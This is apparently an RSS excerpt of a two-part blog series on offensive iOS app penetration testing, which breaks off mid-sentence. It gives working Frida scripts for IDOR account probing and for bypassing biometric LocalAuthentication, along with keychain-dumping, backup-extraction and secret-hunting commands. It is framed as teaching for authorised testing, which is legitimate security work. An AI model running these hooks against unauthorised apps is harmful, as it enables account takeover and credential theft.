&quot;action&quot;: &quot;read&quot;}<br>Modified: {&quot;role&quot;: &quot;admin&quot;, &quot;action&quot;: &quot;write&quot;}</pre><p><strong>Hunt hidden endpoints from binary analysis:</strong></p><pre># From your Part 1 strings dump — collect all URLs<br>strings AppName | grep -Ei &quot;https?://&quot; | sort -u<br><br># Test each discovered endpoint<br># Internal endpoints often have weaker auth controls<br>curl -H &quot;Authorization: Bearer &lt;token&gt;&quot; \<br>  https://api.company.com/internal/admin/users</pre><p><strong>IDOR via Frida — when Burp isn’t enough:</strong></p><p>Standard Burp-based IDOR testing requires traffic to be readable. When traffic is partially encrypted at the application layer or you want to automate ID enumeration, hook the request directly:</p><pre>// idor_probe.js<br>// Intercept NSURLRequest before it leaves the app<br>// and modify object identifiers on the fly<br>var NSMutableURLRequest = ObjC.classes.NSMutableURLRequest;<br>var setURL = NSMutableURLRequest[&#39;- setURL:&#39;];<br>Interceptor.attach(setURL.implementation, {<br>    onEnter: function(args) {<br>        var url = ObjC.Object(args[2]).absoluteString();<br>// Replace target user ID with another<br>        if (url.includes(&#39;/user/&#39;)) {<br>            var modified = url.replace(<br>                /\/user\/\d+/,<br>                &#39;/user/99999&#39;    // Target another account<br>            );<br>            console.log(&#39;[*] IDOR probe: &#39; + url + &#39; → &#39; + modified);<br>            args[2] = ObjC.classes.NSURL<br>                .URLWithString_(modified);<br>        }<br>    }<br>});</pre><pre>frida -U -f com.company.appname -l idor_probe.js --no-pause</pre><p>If the modified request returns another user’s data — IDOR confirmed at the Frida layer, bypassing any app-layer obfuscation on the URL. If the app’s current version uses /v2/ but the binary still contains references to /v1/ — test the v1 endpoints. Rate limiting, input validation, and authorization checks are frequently missing from deprecated versions that still accept requests.</p><h3>Secure Enclave &amp; LocalAuthentication — Testing the Logic Around Hardware</h3><p>You cannot extract keys from the Secure Enclave. That’s not where the finding lives. The finding lives in what the app does <em>after</em> biometric authentication succeeds.</p><p><strong>The attack model:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*eVIxdqfJ3-Fh8zltkeMD0w.png" /></figure><p>The hardware is fine. The app’s trust in LAContext&#39;s return value — without server-side validation — is the vulnerability.</p><h3>LocalAuthentication Bypass</h3><p>Many apps gate the biometric prompt behind canEvaluatePolicy first — checking whether the device supports biometrics before calling evaluatePolicy. If you only hook evaluatePolicy, the bypass silently fails because the app never reaches that call. Hook both.</p><pre>// local_auth_bypass.js<br>var LAContext = ObjC.classes.LAContext;<br>// Hook 1 - canEvaluatePolicy (gating check)<br>// Must succeed before evaluatePolicy is ever called<br>var canEvaluate = LAContext[&#39;- canEvaluatePolicy:error:&#39;];<br>Interceptor.attach(canEvaluate.implementation, {<br>    onLeave: function(retval) {<br>        console.log(&#39;[*] canEvaluatePolicy - forcing true&#39;);<br>        retval.replace(1);<br>    }<br>});<br>// Hook 2 - evaluatePolicy (the actual auth call)<br>var evaluatePolicy = LAContext[<br>    &#39;- evaluatePolicy:localizedReason:reply:&#39;<br>];<br>Interceptor.attach(evaluatePolicy.implementation, {<br>    onEnter: function(args) {<br>        var replyBlock = args[4];<br>        var replyBlockImpl = new ObjC.Block(replyBlock);<br>        var originalImpl = replyBlockImpl.implementation;<br>replyBlockImpl.implementation = function(success, error) {<br>            console.log(&#39;[*] evaluatePolicy - forcing success&#39;);<br>            originalImpl(1, null);<br>        };<br>    }<br>});</pre><pre>frida -U -f com.company.appname -l local_auth_bypass.js --no-pause</pre><p><strong>If biometric bypass grants access to functionality without any server-side validation</strong> — that’s a finding. The severity depends on what gets unlocked: app-wide access is critical, a single premium feature is medium.</p><h3>Complete Offensive Execution Flow</h3><p>This is the full methodology from clean device to confirmed finding. Every step connects to something covered in Part 1 or Part 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_5LVmrOQF8_EnLgkdXM2zQ.png" /></figure><h3>Final Offensive Methodology Checklist</h3><p>This is the full-scope iOS security assessment checklist. If your current workflow doesn’t cover the majority of this — the assessment is incomplete.</p><pre>━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━<br>COMPLETE iOS OFFENSIVE TESTING CHECKLIST<br>━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━<br><br>STATIC (Part 1)<br>  ✓ IPA extracted, extensions analyzed separately<br>  ✓ Binary hardening verified (PIE, canaries, symbols)<br>  ✓ Info.plist reviewed (ATS, URL schemes, debug flags)<br>  ✓ Entitlements extracted and diffed main vs extensions<br>  ✓ Strings dump reviewed for hardcoded secrets<br>  ✓ Swift metadata demangled<br>  ✓ Backup exposure tested<br>  ✓ Snapshot exposure tested<br><br>STORAGE<br>  ✓ NSUserDefaults inspected<br>  ✓ SQLite/CoreData schemas analyzed<br>  ✓ Keychain accessibility classes verified<br>  ✓ App Group shared containers mapped<br>  ✓ File protection classes confirmed<br><br>DEVICE SETUP<br>  ✓ Jailbreak selected (Dopamine rootless / palera1n rootful)<br>  ✓ Bootstrap applied - /var/jb/ paths verified (rootless)<br>  ✓ SSH operational, root password changed from alpine<br>  ✓ Sileo repos added (Havoc, BigBoss, Chariz)<br>  ✓ Core tweaks installed: OpenSSH, AppSync, Filza<br>  ✓ Bypass stack selected per app category:<br>      Liberty Lite / A-Bypass / Shadow<br>  ✓ SSL Kill Switch 2 installed and active<br>  ✓ Keychain-Dumper binary present on device<br>  ✓ Environment verification sequence passed<br><br>DYNAMIC SETUP<br>  ✓ Spawn mode tested before attach<br>  ✓ Frida detection checked - rename + port if needed<br>  ✓ FridaGadget path confirmed (non-jailbroken fallback)<br>  ✓ Jailbreak detection bypass confirmed<br>  ✓ Notification-layer bypass checked (enterprise apps)<br>  ✓ SSL pinning defeated - Burp intercepting<br>  ✓ Flutter detected → reflutter path used if applicable<br><br>NETWORK<br>  ✓ All API endpoints enumerated<br>  ✓ JWT structure analyzed<br>  ✓ IDOR testing - Burp parameter manipulation<br>  ✓ IDOR via Frida hook (app-layer obfuscation bypass)<br>  ✓ API versioning gap tested<br>  ✓ Replay attack feasibility checked<br>  ✓ Hidden endpoints from binary tested<br><br>RUNTIME<br>  ✓ Authentication functions hooked<br>  ✓ Crypto operations intercepted<br>  ✓ Business logic gates tested<br>  ✓ canEvaluatePolicy + evaluatePolicy both hooked<br>  ✓ LocalAuthentication bypass confirmed<br>  ✓ Memory dumped and re-analyzed<br>  ✓ Decrypted binary extracted<br><br>BUSINESS LOGIC<br>  ✓ Premium/subscription gates tested<br>  ✓ OTP/PIN validation bypass attempted<br>  ✓ Flow step skipping via deep links<br>  ✓ Rate limiting - client vs server<br>  ✓ State transition abuse tested<br>  ✓ Role/privilege escalation attempted<br><br>TOOLING USED:<br>  MobSF (static baseline)<br>  Ghidra + Swift demangler (binary analysis)<br>  jtool2 (entitlements, Mach-O)<br>  Frida + objection + frida-trace (runtime)<br>  Burp Suite (traffic interception)<br>  keychain-dumper (credential extraction)<br>  idevicebackup2 (backup analysis)<br>  sqlite3 (storage inspection)<br><br>━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━<br>Any unchecked line = potential finding left on the table.<br>━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━</pre><blockquote><em>💡 </em><strong><em>Fun Fact #4:</em></strong><em> The most common finding across iOS VAPT engagements globally — reported consistently by mobile security firms — is not SSL pinning misconfiguration or jailbreak detection weakness. It’s sensitive data stored in NSUserDefaults. The simplest storage API, the one every iOS developer learns on day one, remains the most frequently exploited in production apps. Architecture decisions made in ten seconds cause findings that take hours to document.</em></blockquote><h3>Closing — From IPA to Exploit</h3><p>Across both parts of this guide, the methodology stayed consistent:</p><p>Understand the architecture. Map the attack surface. Pre-map runtime targets. Hook with precision. Confirm with evidence. Report with impact.</p><p>The tools change. Frida versions update. Jailbreaks evolve. Detection mechanisms improve. The methodology doesn’t change — because it’s built on understanding how iOS works, not on memorizing which script to run.</p><pre>The tester who understands architecture<br>will outlast every tool update,<br>every new iOS version,<br>every improved detection mechanism.<br><br>Because they&#39;re not fighting the tools.<br>They&#39;re reading the decisions.</pre><p>An app that stores a session token in NSUserDefaults because a developer needed to ship by Friday doesn’t become secure when Frida releases version 17. The architectural decision — and the finding — persists.</p><p>That’s why this methodology starts with the IPA and ends with a report that explains business impact. Everything in between is just execution.</p><p><em>📌 This completes the two-part series. Part 1 covers static analysis, architecture, and the complete pre-dynamic methodology. Part 2 covers runtime instrumentation, bypass techniques, business logic exploitation, and the full offensive execution flow.</em></p><p><em>If you found this useful — or found a gap — drop it in the comments. The best iOS security knowledge lives in practitioner conversations.</em></p><p><em>All technical content is for educational purposes and authorized testing engagements only</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b739f0b7372b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From IPA to Exploit: The Complete Offensive Methodology for iOS Application Testing — Part 1]]></title>
            <link>https://medium.com/@vulndetox/from-ipa-to-exploit-the-complete-offensive-methodology-for-ios-application-testing-part-1-50d0ee48835a?source=rss-cbf94896e53c------2</link>
            <guid isPermaLink="false">https://medium.com/p/50d0ee48835a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ios]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ios-penetration-testing]]></category>
            <dc:creator><![CDATA[Shubham Gupta]]></dc:creator>
            <pubDate>Sun, 29 Mar 2026 08:19:20 GMT</pubDate>
            <atom:updated>2026-03-29T08:38:31.980Z</atom:updated>
            <content:encoded><![CDATA[<h3>Understanding the Architecture &amp; Mapping the Real Attack Surface</h3><blockquote>“Most iOS Pentests are tool-driven. Real offensive testing is architecture-driven.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vbeT6LOgmSvZHEMWi4bmvg.png" /></figure><p>I’ll be honest with you.</p><p>The first time I touched an iOS Pentest, I fired up a scanner, ran it against the IPA, skimmed the output, and called it a day. The report looked decent. The client seemed satisfied. I moved on.</p><p>It took me a while to realize — <strong>I hadn’t really tested anything.</strong> I had scanned. There’s a difference, and that difference is the entire point of this article.</p><p>Real offensive iOS testing isn’t about which tools you run. It’s about whether you understand <em>why</em> iOS works the way it does — and <em>where</em> that design creates cracks that attackers walk right through. Tools confirm what your brain already suspects.</p><p>This guide holds both things: strong conceptual grounding so you understand <em>what</em> you’re looking at, and concrete commands so you can <em>reproduce it immediately</em>. <strong>Part 2 covers runtime exploitation and instrumentation.</strong> None of that matters if you don’t own Part 1 first.</p><h3>The Offensive Testing Capability Matrix</h3><p>The “which OS do I need?” debate is the wrong question. The right question: <strong>what capability do I need at each stage of the engagement?</strong></p><p>Modern iOS offensive testing follows a three-tier capability model.</p><h3>Tier 1 — Windows / Linux: The Static Intelligence Layer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_eYl03qUyU11IMbrNqKxZw.png" /></figure><p>This is your intelligence phase. Reconnaissance is what makes exploitation precise.</p><p><strong>Limitation:</strong> No live TLS tracing. No runtime behavior. No Secure Enclave interaction. But you’ll know exactly where to look when you get there.</p><h3>Tier 2 — macOS Native Toolchain: The Runtime Analysis Layer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QST4Uo8zBZNAPqn6BYLo7A.png" /></figure><p>This tier transitions you from <em>reading binaries</em> to <em>observing behavior</em>. The Simulator is the quiet advantage: test flows, observe state, intercept delegates — no physical device needed. (Secure Enclave doesn’t exist in the Simulator; hardware crypto needs Tier 3.)</p><h3>Tier 3 — Jailbroken Device: Runtime Dominance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kvQHf9XQgbNv3JNyTP7M0A.png" /></figure><p>On a jailbroken device, you’re <em>inside</em> the app. You decide what functions return. You intercept memory reads and writes. You dump decrypted data the app protects at rest.</p><blockquote><em>💡 </em><strong><em>Fun Fact #1:</em></strong><em> The very first iPhone shipped with zero support for third-party apps. Steve Jobs publicly pitched web apps as the developer platform. The entire App Store — and by extension every iOS attack surface we test today — didn’t exist until 2008. The whole field of mobile application security is barely 16 years old.</em></blockquote><h3>Understanding Modern Jailbreak Models</h3><p>Not all jailbreaks give you equal offensive capability. The distinctions matter for how you plan your test environment.</p><pre>┌─────────────────────────────────────────────────────────────┐<br>│              JAILBREAK MODEL COMPARISON                     │<br>├──────────────┬──────────────────────────────────────────────┤<br>│ ROOTFUL      │ Modifies full filesystem                     │<br>│              │ Traditional approach                         │<br>│              │ More detectable by modern apps               │<br>│              │ Complete system control                      │<br>│              │ Common on iOS 14 and below                   │<br>├──────────────┼──────────────────────────────────────────────┤<br>│ ROOTLESS     │ Overlay-based — system partitions untouched  │<br>│              │ Significantly harder for apps to detect      │<br>│              │ Dominant on iOS 15+                          │<br>│              │ Changes your detection bypass strategy       │<br>└──────────────┴──────────────────────────────────────────────┘</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*adP3GKQyIrvW4wyVIgsG_A.png" /></figure><p>Persistence models matter for operational planning:</p><pre>Tethered         → Requires connecting to computer after every reboot<br>Semi-Tethered    → Boots normally, jailbreak reactivated manually<br>Semi-Untethered  → Reactivated via on-device app, no computer needed<br>Untethered       → Survives reboot automatically (rare, most valuable)</pre><p><strong>Why persistence matters operationally:</strong> A device reboot kills your runtime hooks. Frida loses its foothold. objection disconnects. Know your jailbreak’s persistence model before the engagement starts — not after the device reboots mid-test.</p><p><strong>The strategic gap:</strong> Many production apps only detect legacy rootful signatures. An app that checks /Applications/Cydia.app and considers itself protected is completely blind to a rootless environment. Document this when you find it — it&#39;s a reportable misconfiguration in the app&#39;s integrity checks.</p><h3>iOS Architecture — What You’re Actually Testing</h3><p>iOS runs on a layered stack. Every layer has a security story. Every layer has a failure mode.</p><p><strong>Platform Layer View:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZmiDJMKzStBjsiVqEbJjFg.png" /></figure><p><strong>Application Logic Flow — Where Your Findings Actually Live:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*owg9OnP_wJABaG_Tlatg0w.png" /></figure><p>The platform diagram tells you what <em>exists</em>. The logic flow tells you where <em>decisions happen</em>. Your attack surface lives in the second diagram — every arrow is a trust assumption waiting to be tested.</p><h3>Core OS — Where Enforcement Lives</h3><p>The Darwin kernel manages memory, enforces the sandbox, and validates code signatures. On a jailbroken device, these enforcements have been removed. That’s your test environment — but understanding what’s removed is what lets you explain the finding accurately.</p><ul><li><strong>Sandboxing</strong> — Each app runs in its own container with strict filesystem and process isolation</li><li><strong>Code signing</strong> — Only Apple-signed or developer-signed binaries execute</li><li><strong>Secure Enclave</strong> — A physically separate processor for biometrics and device encryption keys</li></ul><h3>Core Services — Where Most Real Vulnerabilities Live</h3><p>Keychain is the credential vault. CFNetwork is how apps communicate. SQLite and Core Data store structured data between sessions. Misconfiguration at this layer produces extractable credentials and interceptable traffic — findings with actual business impact.</p><h3>Application Layer — Your Primary Target</h3><p>Business logic, authentication flow, crypto decisions, storage choices. All compiled to a Mach-O binary, packaged into an IPA. A perfectly sandboxed app that stores credentials in NSUserDefaults is still a finding.</p><h3>The Secure Enclave — What It Is and Isn’t</h3><p>The Secure Enclave is a dedicated hardware security processor inside every modern iPhone. It manages private keys for Face ID, Touch ID, and device encryption. Private keys generated inside the Secure Enclave never leave it — period.</p><p><strong>What this means for testing:</strong></p><ul><li>You cannot extract Secure Enclave private keys. Not on a jailbroken device. Not with Frida. Not with any current tooling.</li><li>Most apps don’t use the Secure Enclave directly — they use the LocalAuthentication framework, which <em>wraps</em> it</li><li>The weakness is rarely the Enclave itself — it’s the app logic around it</li><li>An app that unlocks after biometric auth but stores the decryption key in NSUserDefaults has just made the Secure Enclave irrelevant</li><li>Authentication bypass via Frida targets the LAContext evaluation result, not the hardware</li></ul><p><strong>Test the logic, not the hardware.</strong> If the app trusts the result of LAContext.evaluatePolicy() without server-side validation, the Secure Enclave is protecting nothing useful.</p><h3>Dissecting the IPA — What’s Actually Inside</h3><p>An IPA is a ZIP archive with a different extension. Unzip it and you have the entire app on disk.</p><pre>App.ipa<br> └── Payload/<br>      └── AppName.app/<br>           ├── Info.plist                  ← Configuration gold mine<br>           ├── AppName (Mach-O binary)     ← The compiled app<br>           ├── embedded.mobileprovision    ← Entitlements + signing profile<br>           ├── Assets.car                  ← Compiled assets<br>           ├── Frameworks/                 ← Third-party SDKs<br>           │    ├── Firebase.framework<br>           │    ├── Stripe.framework<br>           │    └── ...<br>           ├── PlugIns/                    ← App Extensions (often missed)<br>           │    ├── ShareExtension.appex<br>           │    ├── NotificationService.appex<br>           │    └── Widget.appex<br>           └── _CodeSignature/<br>                └── CodeResources          ← Signature manifest</pre><h3>Extracting and Navigating the IPA</h3><pre>mv TargetApp.ipa TargetApp.zip<br>unzip TargetApp.zip -d TargetApp_extracted<br>cd TargetApp_extracted/Payload/AppName.app<br>ls -la</pre><p><strong>Expected output:</strong></p><pre>-rw-r--r--  Info.plist<br>-rwxr-xr-x  AppName<br>-rw-r--r--  embedded.mobileprovision<br>drwxr-xr-x  Frameworks/<br>drwxr-xr-x  PlugIns/<br>drwxr-xr-x  _CodeSignature/</pre><p><strong>PlugIns/ present → extensions exist → analyze each as a separate binary.</strong> Most reports cover only the main binary. Extensions are a consistent missed finding category.</p><h3>Info.plist — Start Here, Always</h3><p>The app’s manifest. Plaintext XML. Readable immediately. Developer security decisions — written down, in the open.</p><p>What to extract:</p><ul><li><strong>NSAppTransportSecurity</strong> — HTTPS enforcement disabled?</li><li><strong>CFBundleURLSchemes</strong> — custom URL schemes registered</li><li><strong>Required permissions</strong> — camera, location, contacts, microphone</li><li><strong>Debug flags</strong> — apps shipping debug builds in production exist</li><li><strong>Internal endpoint references</strong> — staging URLs, admin panel domains</li></ul><p>Ten minutes with Info.plist tells you more about an app&#39;s security posture than an hour of passive Burp traffic capture.</p><h3>Reading Info.plist</h3><pre># Human-readable on macOS<br>plutil -p Info.plist<br><br># On Linux<br>plistutil -f xml -i Info.plist<br><br># ATS config<br>plutil -p Info.plist | grep -A 10 NSAppTransportSecurity<br><br># URL schemes<br>plutil -p Info.plist | grep -A 5 CFBundleURLSchemes</pre><p><strong>ATS finding output:</strong></p><pre>&quot;NSAppTransportSecurity&quot; =&gt; {<br>    &quot;NSAllowsArbitraryLoads&quot; =&gt; 1<br>}</pre><p>NSAllowsArbitraryLoads = 1 — reportable finding. Plain HTTP, weak TLS, no transport security enforcement.</p><p><strong>URL scheme output:</strong></p><pre>&quot;CFBundleURLSchemes&quot; =&gt; [ 0: &quot;myapp&quot; ]</pre><p>Every registered scheme is a test target. Document all of them.</p><h3>The Mach-O Binary — Your Primary Reverse Engineering Target</h3><p>All compiled Swift and Objective-C logic lives here. From an offensive standpoint:</p><ul><li><strong>Strings</strong> — hardcoded API keys, internal endpoints, debug tokens, environment URLs</li><li><strong>Symbols</strong> — method names, class names, internal structure (if not stripped)</li><li><strong>Binary protections</strong> — what compile-time security measures exist?</li></ul><h3>Strings Extraction — Fast Secret Hunting</h3><pre># Broad secrets sweep<br>strings AppName | grep -Ei &quot;api|token|secret|key|password|http|aws|firebase&quot;<br><br># Formatted credential patterns<br>strings AppName | grep -E &quot;[A-Za-z0-9]{32,}&quot;<br><br># Firebase config<br>strings AppName | grep -Ei &quot;firebase|google|AIza&quot;<br><br># Internal environments<br>strings AppName | grep -Ei &quot;staging|internal|dev\.|localhost&quot;</pre><p><strong>Finding examples:</strong></p><pre>https://staging-api.company.internal/v2    ← Internal environment — pivot opportunity 🚨<br>AKIAIOSFODNN7EXAMPLE                       ← Hardcoded AWS key 🚨🚨<br>eyJhbGciOiJIUzI1NiJ9...                   ← Hardcoded JWT 🚨</pre><p>🚨 Any hardcoded credential or internal environment URL is a critical finding.</p><blockquote><em>💡 </em><strong><em>Fun Fact #2:</em></strong><em> Mach-O stands for “Mach Object.” It was built for the Mach microkernel, which formed the core of NeXTSTEP — the OS Steve Jobs created during his years away from Apple after 1985. When Apple acquired NeXT for $429 million, Mach-O came along. Every iOS binary you analyze today is a direct descendant of a 1980s university research project.</em></blockquote><h3>Binary Hardening Analysis</h3><p>Binary hardening evaluation takes minutes and tells you the <em>cost</em> of this binary before you commit time to it. Don’t skip it.</p><p>Compile-time protections raise the cost of exploitation and analysis. An unstripped binary with no canaries and exposed Swift metadata will take hours to map instead of days. That changes how you scope the rest of the engagement.</p><pre># Check PIE (Position Independent Executable)<br>otool -hv AppName | grep -i pie<br># Protected: MH_PIE present<br># Missing: ASLR weakened 🚨<br># Check stack canaries<br><br>otool -Iv AppName | grep stack_chk<br># Protected: ___stack_chk_fail, ___stack_chk_guard<br># Missing: possible absent canaries 🚨<br># Symbol exposure - the big one<br><br>nm AppName | head -40</pre><p><strong>If symbols are NOT stripped:</strong></p><pre>T -[AuthManager validateToken:]<br>T -[SessionController refreshAccessToken:]<br>T -[CryptoService decryptPayload:withKey:]<br>T -[JailbreakDetection performIntegrityCheck]</pre><p><strong>Unstripped symbols are a significant security hardening gap.</strong> They drastically reduce reverse engineering cost and should be documented — this directly affects the risk rating of every other finding in the report.</p><p><strong>On Linux with jtool2:</strong></p><pre>jtool2 -h AppName<br>jtool2 --analyze AppName</pre><p><strong>Swift metadata — even stripped binaries leak class structure:</strong></p><pre># Enumerate Swift type metadata<br>nm AppName | grep -E &quot;\$s.*[MC]$&quot; | swift-demangle<br><br># With rabin2<br>rabin2 -s AppName | grep swift</pre><p>Swift’s reflection system leaks class hierarchies and method signatures even when symbols are stripped. This is your synthetic class-dump for Swift apps — run it before opening Ghidra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*P27qvXxKzcKCV44papaPxw.png" /></figure><h3>App Extensions &amp; Shared Containers — The Most Consistently Missed Surface</h3><p>The majority of iOS Pentest reports cover the main binary and stop. Extensions get analyzed in maybe 20% of engagements. That’s a consistent category of missed findings.</p><p>Modern iOS apps are not single binaries:</p><pre>Main App Binary (AppName)<br>    └── PlugIns/<br>         ├── ShareExtension.appex      ← Separate Mach-O binary<br>         ├── NotificationContent.appex ← Separate Mach-O binary<br>         ├── Widget.appex              ← Separate Mach-O binary<br>         └── SiriIntent.appex          ← Separate Mach-O binary</pre><p>Each .appex has its own entitlements, its own ATS configuration, its own binary hardening profile. Security reviews focus on the main binary. The Share Extension gets three days of implementation and no review.</p><p><strong>The shared container attack path:</strong></p><pre>Shared container path:<br>/var/mobile/Containers/Shared/AppGroup/[UUID]/<br><br>What you might find:<br>├── shared_prefs.plist      ← Tokens or session data<br>├── cached_user.json        ← User data written for &quot;convenience&quot;<br>└── auth_state.db           ← Auth state shared across extensions</pre><p>The pattern: main app stores auth token in Keychain correctly. Share Extension writes the same token to the App Group container for quick access. Any process with the matching App Group entitlement can read it.</p><h3>Extension Analysis</h3><pre># List extensions<br>ls Payload/AppName.app/PlugIns/<br><br># Enter each extension<br>cd Payload/AppName.app/PlugIns/ShareExtension.appex<br>file *     # Identify the binary<br><br># Extract entitlements<br>codesign -d --entitlements :- ShareExtension 2&gt;/dev/null<br><br># On Linux<br>jtool2 --ent ShareExtension<br><br># Full entitlement comparison<br>codesign -d --entitlements :- AppName.app/AppName &gt; main_ent.txt 2&gt;/dev/null<br>codesign -d --entitlements :- AppName.app/PlugIns/ShareExtension.appex/ShareExtension &gt; ext_ent.txt 2&gt;/dev/null<br>diff main_ent.txt ext_ent.txt<br><br># Strings sweep on extension binary<br>strings ShareExtension | grep -Ei &quot;api|token|secret|key&quot;</pre><p><strong>Extension with entitlements the main app doesn’t have → finding.</strong> Run every Tier 1 check separately on each extension binary.</p><h3>App Lifecycle &amp; Snapshot Exposure</h3><p>When iOS moves an app to the background, the OS captures a UI screenshot and stores it for the app switcher thumbnail. Whatever was on screen at that moment gets written to disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vuBYnEcqQ3M1DthB8ifemQ.png" /></figure><p><strong>Correct implementation:</strong></p><pre>func applicationDidEnterBackground(_ application: UIApplication) {<br>    sensitiveContentOverlay.isHidden = false  // Mask before snapshot<br>}<br>func applicationWillEnterForeground(_ application: UIApplication) {<br>    sensitiveContentOverlay.isHidden = true<br>}</pre><h3>Testing Snapshot Exposure</h3><p><strong>On jailbroken device:</strong></p><pre>ssh root@&lt;device-ip&gt;<br>find /var/mobile/Containers/Data/Application/ -name &quot;Snapshots&quot; -type d<br>ls -la /var/mobile/Containers/Data/Application/[UUID]/Library/SplashBoard/Snapshots/</pre><p><strong>Without jailbreak — unencrypted backup:</strong></p><pre>idevicebackup2 backup --unencrypted ./backup_folder<br>find ./backup_folder -name &quot;*.png&quot; | head -20</pre><p>Snapshot showing account data, OTP, or tokens — reportable finding. Severity scales with content sensitivity. The demo closes it: show the client the snapshot file with their account balance, extracted from a device they believed was protected.</p><h3>Data Flow — Where Attacks Actually Happen</h3><p>Think in flows, not components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHnpcLswepU4Ft5Dun6UaQ.png" /></figure><p>Each question is a test case. Answer from static analysis first. Confirm with runtime in Part 2.</p><h3>The Sandbox &amp; iOS Security Model</h3><p>Each app runs in an isolated container. No direct cross-app data access. No shared memory. Kernel-enforced.</p><pre>/var/mobile/Containers/<br> ├── Bundle/Application/[UUID]/<br> │    └── AppName.app/          ← Installed app bundle (read-only)<br> └── Data/Application/[UUID]/<br>      ├── Documents/             ← User data (backed up by default)<br>      ├── Library/<br>      │    ├── Preferences/      ← NSUserDefaults (.plist files)<br>      │    └── Caches/           ← Temporary, NOT backed up<br>      └── tmp/                   ← Temporary, NOT backed up</pre><p>Three things break this isolation:</p><ol><li><strong>Jailbreaking</strong> — removes kernel-level enforcement entirely</li><li><strong>Misconfigured entitlements</strong> — expand cross-app access deliberately but dangerously</li><li><strong>Unencrypted backups</strong> — extract the entire Documents/ directory</li></ol><p>Unencrypted backups are consistently underappreciated. Still common on personal devices and enterprise environments — they hand everything in Documents/ to whoever has physical access.</p><h3>iOS Backup Abuse</h3><p>iTunes and iCloud backups copy more than files — they copy <strong>application state</strong>. Session tokens, NSUserDefaults, SQLite databases, cached credentials, snapshots. On an unencrypted backup, all of it is readable by anyone with access to the machine it synced to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ScewTmjkY6YeLO2euChTrw.png" /></figure><h3>Extract and Parse the Backup</h3><pre># Create unencrypted backup<br>idevicebackup2 backup --unencrypted ./target_backup<br><br># Map hashed filenames back to real paths<br>sqlite3 ./target_backup/Manifest.db \<br>  &quot;SELECT fileID, relativePath FROM Files<br>   WHERE relativePath LIKE &#39;%com.company%&#39;&quot;</pre><p>Files inside the backup are stored as first2chars_of_hash/full_hash — not readable filenames. Extract them properly:</p><pre>sqlite3 ./target_backup/Manifest.db \<br>  &quot;SELECT fileID, relativePath FROM Files WHERE relativePath LIKE &#39;%com.company%&#39;&quot; \<br>  | while IFS=&#39;|&#39; read hash path; do<br>      mkdir -p &quot;extracted/$(dirname &quot;$path&quot;)&quot;<br>      cp &quot;./target_backup/${hash:0:2}/$hash&quot; &quot;extracted/$path&quot; 2&gt;/dev/null<br>    done</pre><p>Now extracted/ looks like a normal app filesystem. Browse it like one.</p><h3>What to Hunt Inside</h3><pre># NSUserDefaults — always first<br>plutil -p extracted/AppDomain-com.company.app/Library/Preferences/*.plist<br><br># All SQLite databases<br>find extracted/ -name &quot;*.sqlite&quot; -o -name &quot;*.db&quot; | \<br>  xargs -I{} sqlite3 {} &quot;.tables&quot;<br><br># Token and credential grep across all files<br>grep -r -Ei &quot;token|session|auth|password|secret&quot; extracted/ -l<br><br># Snapshot images - sensitive screen captures<br>find extracted/ -path &quot;*/SplashBoard/Snapshots/*&quot; -name &quot;*.png&quot;</pre><h3>Risk at a Glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*BvLkOp_PGYETKXGzJBzfJQ.png" /></figure><p><strong>The core insight:</strong> An app with perfect HTTPS, certificate pinning, and correct Keychain usage can still be fully compromised through backup extraction if one developer stored a session token in Documents/ for convenience. The network security is irrelevant when the data walks out through a USB cable. This is architecture-driven risk — and it’s exactly the kind that doesn’t show up in automated scans.</p><h3>Keychain — Security Is Only as Good as the Configuration</h3><p>Apple provides the infrastructure. The developer decides the accessibility class — and that decision is where misconfiguration lives.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f6K5fcHUku46G4zLI6EImQ.png" /></figure><p><strong>Attack paths:</strong></p><ul><li>Jailbroken device → keychain-dumper extracts all items regardless of class</li><li>Runtime via Frida → Decrypted values in memory hookable at the API boundary</li><li>Backup analysis → Items without ThisDeviceOnly surface in iTunes backups</li></ul><h3>Keychain Testing</h3><p><strong>Static — find accessibility class configuration:</strong></p><pre>strings AppName | grep -E &quot;kSecAttrAccessible&quot;<br># kSecAttrAccessibleAlways           → Deprecated, weak 🚨<br># kSecAttrAccessibleWhenUnlocked     → Correct<br># kSecAttrAccessibleAfterFirstUnlock → Acceptable for background use</pre><p><strong>On jailbroken device:</strong></p><pre>keychain-dumper -a</pre><p><strong>Interpret output:</strong></p><pre>Service:    com.company.app.auth<br>Account:    user@example.com<br>Password:   eyJhbGciOiJSUzI1NiJ9...        ← JWT in Keychain<br>Accessible: kSecAttrAccessibleAlways        ← 🚨 Deprecated<br>ThisDeviceOnly: NO                          ← 🚨 Appears in backups</pre><p>kSecAttrAccessibleWhenUnlocked + ThisDeviceOnly = gold standard. kSecAttrAccessibleAlways without device binding = clear 